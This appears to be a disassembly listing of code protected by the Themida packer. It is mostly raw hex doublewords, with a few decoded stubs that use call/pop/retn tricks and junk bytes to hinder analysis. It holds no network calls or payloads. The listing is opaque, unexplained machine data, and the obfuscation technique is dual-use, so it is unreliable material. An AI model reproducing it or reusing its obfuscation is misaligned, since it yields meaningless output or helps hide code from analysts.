0A2655B5Ch, 0F9BBDA97h, 5E9h dd 88D96A00h, 0C08B1F89h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 6AC35545h, 8BC68B60h, 40FC61C6h, 8960C18Bh dd 121DE1B5h, 3860F06h, 80000000h, 0EB6175D9h, 4, 0FBB70F00h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h dd 8DD8A2ECh, 12006585h, 68D0F06h, 29000000h, 12331DBDh dd 50FB8B06h, 0DE96052h, 2F000000h, 0B3481BF8h, 4FA8AD7h dd 427A99F7h, 9E71B966h, 4895E61h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 951C566Dh dd 0F8B70F4Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0E21640C3h, 6F352B51h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F9096CC3h, 3AC74DB1h, 0BD038F09h, 6121C9Dh, 0D402858Dh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 45A3A0C3h, 5C083EDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 48C35747h, 5090FD76h, 7B5ABE66h dd 0C5950990h, 6A061214h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6C1BCCA0h dd 6A87DC2Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h dd 0C3504000h, 268951F0h, 0D515FD23h, 5595FF77h, 8B06120Bh dd 122FD5BDh, 31B58B06h, 8D06120Fh, 159BCA9Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h db 4 dword_5B8EA1 dd 1Ah ; --------------------------------------------------------------------------- inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 5FECD01Ah, 89B3DC9Ah, 1222FDBDh, 0E9D3FF06h, 6, 0ABAE947Bh dd 8166175Eh, 0FF51FFE6h, 12123585h, 0AE906h, 8A4B0000h dd 55D77416h, 8A9BA460h, 705E9h, 0E800h, 815D0000h, 15D40CEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E95D6A0Ch, 7, 0B53D64BBh, 81504693h, 1207E5BDh dd 7D006h, 4F860F00h, 8B000001h, 1223ED9Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 4EBE66C3h, 0E3815Dh, 81000001h, 2D326CEFh, 0FDB0B3Ah dd 0CB85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 83D1D1E6h, 15D233BDh, 840F0006h dd 4Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 65C35040h, 2880F60h, 8B000000h, 86E9F9h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 2A6908C3h, 0AD306F31h, 0D23385C7h, 10615h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0F706A9C3h, 8190C27Bh, 0D47AC4D7h, 2EE932h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0F540B1C3h, 0D23385C7h, 615h, 0B58B0000h, 61233A9h dd 23ED9D8Dh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 66BE3FC3h, 0F022BD61h, 9135E781h dd 2381545Bh, 0FFFFFEFFh, 29F18589h, 8C660612h, 51006ADBh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 4C3F6F6h, 17840Fh, 95FF0000h, 6120CA9h, 50F8B70Fh, 5EF98B50h dd 8B240489h, 121A3DBDh, 438E906h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 5B4917C3h dd 0F88B3450h, 0FB18DBFh, 6A00B05Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7D3AC357h dd 4D860154h, 6E883D6h, 16000000h, 0C1A7F5F1h, 0BE665FC9h dd 70E620D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0CFC35747h, 52F918CCh, 7E9F5E2h, 71000000h, 0D14E47DFh dd 8B665409h, 6A71E4F7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0E572C353h, 0C6D3DDC4h dd 0B60FBF47h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A08F2D84h, 0BB4C8AF9h dd 6BAAEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 2E3996C3h, 29E99747h, 1223F1B5h dd 6AC38B06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 6AC5C350h, 0A191715Ch, 13E95Fh dd 0E0690000h, 589EAD3Bh, 4B25BD22h, 2F8A1AAAh, 0E39123DAh dd 4E8C15Dh, 0BFE2F766h, 53B17ED0h, 8D31D82Bh, 6121A2Dh dd 10E850h, 0ABA50000h, 22AD77CFh, 1CF4D400h, 90230BB3h dd 0F98BD314h, 241C895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0D4C35141h, 56757118h, 0FFFCFC34h, 1207E5B5h dd 68A0F06h, 8B000000h, 1203F1BDh, 0D195FF06h, 6A061229h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1FF7C353h, 40F37CC7h, 0B0F98B27h, 159D2900h dd 0E6061200h, 0B1BD8B70h, 2906122Ah, 122911B5h, 6A71E406h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9447C357h, 9685039Ah, 613CED23h, 224830Fh dd 6CBF0000h, 0F70AC7Eh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 95E0C3C3h, 10BC4EBh dd 121FB985h, 0F350BE06h, 6BA55FFh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 239FC351h, 36755144h, 6AC38BF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 84A3C357h dd 0B58B1E68h, 6122EE5h, 5704E8C1h, 1601BD8Bh, 665F0612h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9D18F0C3h, 664C34E6h, 0D82BF98Bh, 1C9DB589h dd 56580612h, 19B58589h, 2B5E0612h, 57880FD8h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 8239C355h, 8B3AA8EFh, 1229C5B5h, 7B906h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0C1830DC3h, 10E900h, 3E940000h, 0E968151Eh dd 55D29C04h, 18A68EBDh, 0D93BF083h, 0F0860Fh, 66F50000h dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 4D8775C3h, 0BD298B4Dh, 61203A1h, 0F04C1F6h dd 0B984h, 0A995FF00h, 6A06120Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E314C355h dd 0E141CE36h, 658D8910h, 5B06122Ch, 0DE9h, 0D767B300h dd 88ACC4AEh, 169C6882h, 0C32B4966h, 1B018589h, 343D0612h dd 0F000008h, 6586h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 6126A734h, 0C55DBFDh dd 2360F045h, 122109BDh, 37E96106h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 60AAC350h, 0F07685A3h, 60F8B70Fh, 1860Fh, 8BF50000h dd 122BF58Dh, 0C08B6106h, 0C38BF78Bh, 0FE8BD88Bh, 13DD85C7h dd 41950612h, 0B70F3AB0h, 66C08BF7h, 0BD81FA8Bh, 61207E5h dd 7D0h, 2E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 43C7CCC3h, 0F08B9BF9h dd 7E585FFh, 850F0612h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+61207E5h] push 0 push edx call sub_5B9559 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9559 proc near ; CODE XREF: Themida_:005B9551p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5B9559 endp ; --------------------------------------------------------------------------- pushf pop ecx enter 0FFFFFFA0h, 95h shr dword ptr [ecx], 1 adc al, [esi] push 0 push eax call sub_5B957E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B957E proc near ; CODE XREF: Themida_:005B9576p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B957E endp ; --------------------------------------------------------------------------- jmp short loc_5B9602 ; --------------------------------------------------------------------------- dd 13E8A81Fh, 61000000h, 0AF997295h, 649459A0h, 0ACD5B84h dd 4A3C0989h, 5EF83E3Ah, 5678B890h, 0BD8B1234h, 6122EE9h dd 0DAD39D8Dh, 1EE90615h, 6AFFFFF9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B362C351h dd 3648C8F1h, 0C18B8AD5h, 31C98589h, 4EB0612h, 0 dd 0E856006Ah, 3, 5EC35E20h db 89h, 74h ; --------------------------------------------------------------------------- loc_5B9602: ; CODE XREF: Themida_:005B958Ej and al, 4 add dword ptr [esp+4], 19h inc esi push esi retn ; --------------------------------------------------------------------------- db 0C0h dd 9F494357h, 50006A76h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 7CDE908Dh, 358D8938h, 8D06120Ch dd 12006585h, 50F98B06h, 280D8BBFh, 24048936h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 66C35040h, 0FBF7BF2h dd 681h, 7DBD0300h, 6A061227h, 0F88B6600h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 5E2BE4C3h, 0E9F86697h, 8, 9637C14Dh, 3DAB63EDh, 0DD15858Dh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0B4F127C3h, 0F78BB600h, 890Fh, 0C0830000h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 2F725B03h, 12E9D2h, 6B820000h, 0AE4CAF35h dd 0C5E5FDB3h, 8EE42CE1h, 0DFE50FAFh, 24048950h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h, 2A0DBD8Bh dd 6A0612h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 1C35040h, 9EC951B0h, 0B34D75BFh, 6A006A50h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 14B3C350h, 6704EA34h, 2F41BD8Bh, 95FF0612h, 6120B55h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 91C35343h dd 2B50985Bh, 13E9FAh, 3940000h, 5D3FF9DFh, 0ECDDBF1Bh dd 2EAF277Ah, 87D3AC9Dh, 0CA9D8D0Bh, 906159Bh, 1231F585h dd 8BD3FF06h, 12186DB5h, 3585FF06h, 8B061212h, 1211E5BDh dd 55858906h, 0E9061211h, 0E47h, 0E8h, 0ED815D00h, 615DD1Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6CC35242h dd 47FE6994h, 2F0003A7h, 0BD8B5770h, 6123339h, 0D19D895Fh dd 8106122Eh, 1207E5BDh, 7D006h, 2B860F00h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 2B1BC357h, 30DD9D8Bh, 6A0612h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 940911C3h dd 16BF194h, 1230C1BDh, 0E38106h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 1E1EC355h, 6E94D75h, 92000000h, 25326681h, 0DB0BF8CAh dd 3F850Fh, 0BD830000h, 615DB16h, 17840F00h, 0F000000h dd 59E9F3B7h, 0E9000000h, 0Ah, 25DEAB2Eh, 0DA52C1EEh, 85C7D7E8h dd 615DB16h, 1, 880Fh, 35E90000h, 81000000h, 200AE5D7h dd 1685C716h, 615DBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0D32FC356h, 85892618h dd 6121A55h, 30DD9D8Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 22442C3h, 0BDE4B11Eh dd 958589C7h, 81061211h, 0FFFEFF23h, 8B6650FFh, 8C665EFBh dd 0ADBD89DBh, 0F6061208h, 840F04C3h, 37h, 6E8h, 0E3C21400h dd 5ED5C3C4h, 0CA995FFh, 6E90612h, 0FB000000h, 87F3511Ah dd 525090EBh, 0B66BBE60h, 0C28A6A50h, 0F905F61h, 685h dd 45BD8900h, 0E906121Eh, 431h, 1281B52Bh, 0B00612h, 0C870Fh dd 820F0000h, 6, 264DB501h, 70E60612h, 0E4F6B70Fh, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 666636ABh, 0F9A1DBEh, 6BAD8B6h, 66000000h, 8BA54DBFh dd 118531C3h, 0C106121Eh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0B1C439C3h, 61236A52h dd 7CD8D89h, 0F7660612h, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 374063D4h, 0A58143CFh dd 4519D89h, 0D82B0612h, 0DE8h, 0BF2B9300h, 0CAEA5AADh dd 0F91B2736h, 0CE813203h, 400800E9h, 21BE935Eh, 501B235Ah dd 55006A93h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0BE224B3Dh, 66C139D3h, 0B8A4EE81h, 9E9h dd 88E6700h, 0B020B215h, 0B5FF1AA6h, 61207E5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FC35343h, 958B6095h dd 6122BFDh, 0F38B61FCh, 29D195FFh, 9D310612h, 61220C9h dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0AAB2A7C3h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0F06344C3h, 71E4F8CAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 13C35040h dd 4FCA3D83h, 9438156Eh, 29FFBF0Fh, 12187D8Dh, 0F613C06h dd 27883h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 360C10D4h, 8BCC2281h, 121F55BDh dd 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 78C35747h, 0AE150C05h, 0BD84161Ah, 0E98589A7h dd 0F061229h, 1484h, 0FE900h, 22100000h, 50BF78C5h, 97AB2DE8h dd 623E902Dh, 6BA9Ah, 85310000h, 61211B1h, 6AC38Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8D8963C3h, 61213B1h, 8B04E8C1h, 123041BDh, 0E2F76606h dd 31ED9D89h, 0D82B0612h, 32DBD8Bh, 0BD8B0612h, 6122171h dd 0BF0F5158h, 0D82B5FF8h, 1AB880Fh, 95010000h, 6121A2Dh dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 8D67F9F7h, 0BE6E19C5h, 32B6607Fh dd 8B00C183h, 1207F5B5h, 0FD93B06h, 16886h, 860FFC00h dd 0Ch, 6850Fh, 0B58B0000h, 6122EF1h, 0F6D98C66h, 840F04C1h dd 11Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0F5C35545h, 7A811E12h, 0FE9h, 0D86C100h, 1579E43Dh dd 738D9D69h, 0A5C3D42Dh, 0CA995FFh, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FB6239C3h dd 6712B7Dh, 7E9D20Fh, 0DF000000h, 59EE4D2Eh, 9D892DDAh dd 61208E1h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 9F15BF23h, 48D73162h, 6DB58BAFh dd 2B061207h, 8343DC3h, 860F0000h, 74h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CFC35646h, 0DDC06716h dd 0B58BF8F7h, 6122765h, 74E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C54A094Fh dd 0B5891710h, 61219F1h, 1A8B0Fh, 0EE80000h, 7B000000h dd 728D42DCh, 9469FAA1h, 88356A34h, 0D5BD89B5h, 5E061224h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 807870C3h, 0C9E7DE9Dh, 23C8C1C4h, 121FA9BDh dd 8BC38B06h, 0E5B58BD8h, 0C7061222h, 1223ED85h, 0A1279706h dd 0FAB70F12h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8E9FFC3h dd 0E6000000h, 9074F952h, 81635E5Fh, 1207E5BDh, 7D006h dd 0C850F00h, 89000000h, 1231E9BDh, 0E585FF06h, 0FF061207h dd 1207E5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 636F7A64h, 89BD03ADh, 0FF06122Ch dd 1229D195h, 0F3BF0F06h, 6A4090h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 29CD68C3h, 34DB960Dh dd 830A79A3h, 1221D1BDh, 840F0006h, 0D3h, 57E68166h, 55BD8328h dd 61228h, 0C1840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0BE9BFC3h, 0F5000000h dd 1399396h, 269065B1h, 95FF0C34h, 61221D1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 36C35242h, 0DD99F068h dd 6691D3D6h, 0B43F6BEh, 60840FC0h, 8D000000h, 124E4B8Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 11E19036h, 0EAAA3B07h, 5B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 439360FAh, 0B3C1B125h, 6DDE819Eh, 0FF33F538h, 95BD31E1h dd 83061217h, 121DA1BDh, 840F0006h, 653h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 93C35545h, 41A2F767h dd 559E36Dh, 2855BD83h, 0F000612h, 62284h, 85B58900h, 8D061218h dd 121E098Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 5F14ACF0h, 9D891AF2h, 6122641h, 7C8401C7h dd 6A44B2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A4DF2C3h, 0DAAD3F09h, 1811519h, 1499CFCBh dd 0F318D29h, 41C70612h, 706B3404h, 55006ACEh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0E4B90DCAh dd 633CF005h, 4ADBE60h, 0E9616ED7h, 0Ch, 744FB07Fh, 8CA8019Eh dd 4C069C78h, 10044181h, 6A31D6D7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7B0AC357h dd 98F35457h, 89006AF5h, 1200198Dh, 9858D06h, 0F06121Eh dd 0E87h, 9E900h, 242E0000h, 6B0D1C6Eh, 9050160Eh, 0F08B6650h dd 0A195FF90h, 6A06121Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0AA74C353h, 4CC72FEDh dd 0BD33CAC6h, 6122BF5h, 1E098D8Dh, 1C70612h, 0 ; --------------------------------------------------------------------------- xor si, 23BCh mov dword ptr [ecx+4], 0 push 0 push ebp call sub_5BA113 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA113 proc near ; CODE XREF: Themida_:005BA10Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BA113 endp ; --------------------------------------------------------------------------- db 0BBh dd 146D78B3h, 0BE8DEh, 89660000h, 7241217Dh, 49F4AFADh dd 6ED5BEEAh, 8B5F5B4Ch, 121D35BDh, 0FC00B06h, 9A84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D2059E50h, 5A302644h, 1EABBE66h, 4E4B8D8Dh, 44BF0612h dd 0B8275198h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B7C35242h, 0B52DFAEDh, 6AE1FF83h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D6E1C352h dd 8E72E8CFh, 11E8DA6Dh, 59000000h, 80A686D8h, 4FBBDBFBh dd 0F7CA349h, 8595B2E8h, 0E1BBCE81h, 8D5E7656h, 121E098Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4AE6BB44h, 7D90628Ch, 66603022h, 9529D68Bh dd 612230Dh, 59B58B61h, 0C7061224h, 0AA727C01h, 57006A44h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0B73298DDh, 1FBF2C1Eh, 0F6D1BEFh, 689h, 0C18D3100h dd 81061220h, 99CFCB01h, 0CE914h, 48BD0000h, 0D8AE0395h dd 4A34B445h, 41C7D402h, 78753C04h, 0FE8CEh, 0C8B10000h dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 5E953h, 5090000h, 5FCDDE03h dd 10044181h, 6A31D6D7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FC7C357h, 8Eh, 6A006A00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0CC41C357h, 0C2BE66F8h, 9858D67h, 0BF06121Eh dd 3A8BC1E9h, 48B0F50h, 57000000h, 895F5F56h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 26D5FAC3h, 87F178A7h, 89E57209h, 120B899Dh, 0A195FF06h dd 6A06121Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 519CC350h, 266B259Dh, 9A4D026Dh dd 1E098D8Dh, 0BF0F0612h, 14EBBEFEh, 1C7192Bh, 0 ; --------------------------------------------------------------------------- mov edi, 79D514C0h mov dword ptr [ecx+4], 0 sub [ebp+6121415h], eax jmp loc_5BA390 ; --------------------------------------------------------------------------- db 0A6h dd 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h ; --------------------------------------------------------------------------- loc_5BA390: ; CODE XREF: Themida_:005BA37Aj or eax, eax jz loc_5BA3EC push 0 push ebx call sub_5BA3A3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA3A3 proc near ; CODE XREF: Themida_:005BA39Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BA3A3 endp ; --------------------------------------------------------------------------- db 27h dd 969BBEF0h, 8D8D7F5Fh, 6124E4Bh, 48F0Fh, 0BE660000h dd 5B8A7D4h, 29000000h, 120EC5B5h, 0E9E1FF06h, 10h, 6B469CB8h dd 776120C9h, 0FA0E471Fh, 74C576C0h ; --------------------------------------------------------------------------- loc_5BA3EC: ; CODE XREF: Themida_:005BA392j lea ecx, [ebp+6121E09h] push 0 push edi call sub_5BA3FD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA3FD proc near ; CODE XREF: Themida_:005BA3F5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BA3FD endp ; --------------------------------------------------------------------------- db 62h, 9Bh, 98h db 90h db 0B3h, 0BFh, 0E5h dd 8B32E88Fh, 0C9BD33F7h, 0C7061220h, 0CA95A501h, 85316054h dd 6121D61h, 18161F5h, 1499CFCBh, 3C4ABF66h, 690441C7h dd 1CE5F59h, 120C8DB5h, 4418106h, 31D6D710h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 329321C3h, 8AAEC550h, 0DDBD897Bh, 8906122Dh, 120729BDh dd 9858D06h, 6A06121Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D89DC350h, 6266BF0Ah dd 0E85018DBh, 10h, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h dd 73BE6650h, 895F5E7Ah, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0F40132C3h, 1175B58Bh dd 95FF0612h, 6121DA1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 72C35343h, 9433ED66h, 4B423A86h, 8DFAB70Fh dd 121E098Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 668C2C49h, 9ED2C681h, 1C7h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 4F8552C3h, 41C7F38Bh, 4, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 9BD8B49h, 0F06122Bh dd 86h, 0FC00B00h, 4A84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0CDEC3E72h dd 0F8A7085h, 8D29FBB7h, 612139Dh, 4E4B8D8Dh, 8D310612h dd 6121FA1h, 5B8h, 1B58900h, 0FF061216h, 79BD8BE1h, 3061226h dd 0F206E9CAh, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0A6F02FC3h, 0F851E4DAh, 10E95Eh dd 74950000h, 668B892Ch, 4F82D914h, 31709236h, 0F8601675h dd 68A0Fh, 85290000h, 6121635h, 41B50961h, 8B061212h, 4EBC1h dd 66000000h, 0BD8BF18Bh, 61208C1h, 65858Dh, 6A0612h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8A0FACC3h, 1, 525050FCh, 850F53h, 5F000000h, 800F310Fh dd 2, 585A6160h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 633CC356h, 6A1DF768h dd 0CF816684h, 0B58BE98Fh, 6121FD9h, 0B589006Ah, 6121ABDh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0F2CD53C3h, 0D0ADED90h, 0DDBF6619h, 11858D0Bh dd 90615EDh, 120C8D85h, 5C08306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 2FC35646h, 0B5296055h, 612342Dh dd 11870Fh, 0CE90000h, 41000000h, 0F36C4E08h, 65676130h dd 61F06836h, 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 95C35141h, 8B006AC2h, 120329BDh, 0D1BD8B06h dd 6A061227h, 10E900h, 0C0840000h, 807D810h, 0FB4D6C4h dd 0C8AFF110h, 95FF22A6h, 6120B55h, 6820Fh, 0BD290000h dd 6120905h, 9BCA9D8Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 5ADC0C3h, 0FFA92F2Fh dd 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 713CFEBCh, 8B3C6C71h, 3585FFF3h, 8B061212h dd 50D781F8h, 0E90A2B64h, 855h, 0E8h, 0ED815D00h, 615ED1Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 47C35242h dd 7E5BD81h, 7D00612h, 860F0000h, 10Dh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 8CC35242h, 4EB7E234h dd 8B666141h, 499D8BFEh, 50061223h, 59B58952h, 5F061232h dd 0E3815Fh, 0E9000001h, 0Eh, 2A10C2FBh, 0AC91C282h, 9FC563C7h dd 0DB0B46D2h, 51850Fh, 8A0F0000h, 6, 3CC7CE81h, 0BD8334EBh dd 615EB65h, 21840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E926C352h dd 44h, 0EB6585C7h, 10615h, 0BD230000h, 61214B1h, 2FE9h dd 0C7F98B00h, 15EB6585h, 6, 